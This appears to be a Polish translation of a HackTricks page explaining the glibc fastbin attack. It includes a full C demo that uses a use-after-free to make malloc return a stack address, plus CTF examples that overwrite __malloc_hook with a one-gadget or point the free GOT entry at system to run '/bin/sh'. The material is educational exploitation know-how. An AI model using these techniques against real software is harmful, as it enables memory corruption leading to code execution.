Fast Bin Attack

Wesprzyj HackTricks

Podstawowe Informacje

Aby uzyskać więcej informacji na temat tego, co to jest szybki bin, sprawdź tę stronę:

Bins & Memory Allocations

Ponieważ szybki bin jest listą jednokierunkową, istnieje znacznie mniej zabezpieczeń niż w innych binach i zmiana adresu w zwolnionym fragmencie szybkiego binu wystarczy, aby później zaalokować fragment w dowolnym adresie pamięci.

Podsumowując:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Możesz znaleźć pełny przykład w bardzo dobrze wyjaśnionym kodzie na stronie https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Jeśli jest możliwe nadpisanie wartości zmiennej globalnej global_max_fast dużą liczbą, pozwala to generować szybkie kawałki o większych rozmiarach, potencjalnie umożliwiając przeprowadzenie ataków na szybkie kawałki w scenariuszach, gdzie wcześniej nie było to możliwe. Ta sytuacja jest przydatna w kontekście ataku na duży kawałek i ataku na nieuporządkowany kawałek.

Przykłady

  • Możliwe jest alokowanie kawałków, zwalnianie ich, odczytywanie ich zawartości i wypełnianie ich (z wykorzystaniem podatności na przepełnienie).

  • Skonsoliduj kawałek w celu wycieku informacji: Technika polega na nadużyciu przepełnienia, aby stworzyć fałszywy prev_size, dzięki czemu jeden poprzedni kawałek jest umieszczany w większym, więc przy alokowaniu większego kawałka zawierającego inny kawałek, możliwe jest wydrukowanie jego danych i wyciek adresu do libc (main_arena+88).

  • Nadpisz hak malloc: Dzięki temu, i nadużywając poprzedniej sytuacji nakładania się, było możliwe posiadanie 2 kawałków wskazujących na tę samą pamięć. Dlatego zwolnienie ich obu (zwolnienie innego kawałka pomiędzy nimi, aby uniknąć zabezpieczeń) pozwoliło na posiadanie tego samego kawałka w szybkim kawałku 2 razy. Następnie było możliwe ponowne go zaalokować, nadpisać adres następnego kawałka, aby wskazywał trochę przed __malloc_hook (aby wskazywał na liczbę całkowitą, którą malloc uważa za rozmiar wolny - kolejne obejście), ponownie go zaalokować, a następnie zaalokować inny kawałek, który otrzyma adresy haków malloc. Ostatecznie wstawiono tam jeden gadżet.

  • Istnieje przepełnienie sterty, użycie po zwolnienu i podwójne zwolnienie, ponieważ po zwolnieniu kawałka możliwe jest ponowne użycie i ponowne zwolnienie wskaźników.

  • Wyciek informacji z libc: Wystarczy zwolnić kilka kawałków, a otrzymamy wskaźnik do części lokalizacji głównej areny. Ponieważ można ponownie użyć zwolnionych wskaźników, wystarczy odczytać ten adres.

  • Atak na szybkie kawałki: Wszystkie wskaźniki do alokacji są przechowywane wewnątrz tablicy, więc możemy zwolnić kilka szybkich kawałków, a w ostatnim nadpisać adres, aby wskazywał trochę przed tą tablicą wskaźników. Następnie zaalokować kilka kawałków o tym samym rozmiarze i otrzymamy najpierw prawdziwy, a następnie fałszywy zawierający tablicę wskaźników. Teraz możemy nadpisać te wskaźniki alokacji, aby adres GOT free wskazywał na system, a następnie zapisać "/bin/sh" w kawałku 1, aby następnie wywołać free(chunk1), który zamiast tego wykona system("/bin/sh").

  • Kolejny przykład nadużycia przepełnienia jednego bajtu w celu skonsolidowania kawałków w nieuporządkowanym kawałku, uzyskania wycieku informacji z libc, a następnie przeprowadzenia ataku na szybkie kawałki w celu nadpisania hak malloc adresem jednego gadżetu

  • Po wycieku informacji nadużywając nieuporządkowanego kawałka z UAF, aby wyciekł adres libc i adres PIE, wykorzystano atak na szybkie kawałki, aby zaalokować kawałek w miejscu, gdzie znajdowały się wskaźniki do kontrolowanych kawałków, dzięki czemu możliwe było nadpisanie pewnych wskaźników, aby zapisać jeden gadżet w GOT

  • Możesz znaleźć atak na szybkie kawałki nadużywany poprzez atak na nieuporządkowany kawałek:

  • Zauważ, że przed przeprowadzeniem ataków na szybkie kawałki często nadużywa się listy wolnych kawałków, aby wyciekać adresy libc/sterty (jeśli jest to konieczne).

  • Możemy alokować tylko kawałki o rozmiarze większym niż 0x100.

  • Nadpisz global_max_fast za pomocą ataku na nieuporządkowany kawałek (działa 1/16 razy ze względu na ASLR, ponieważ musimy zmodyfikować 12 bitów, ale musimy zmodyfikować 16 bitów).

  • Atak na szybkie kawałki w celu zmodyfikowania globalnej tablicy kawałków. To daje arbitralne prymitywy odczytu/zapisu, co pozwala na modyfikację GOT i ustawienie pewnej funkcji tak, aby wskazywała na system.

Unsorted Bin Attack
Wsparcie dla HackTricks

Last updated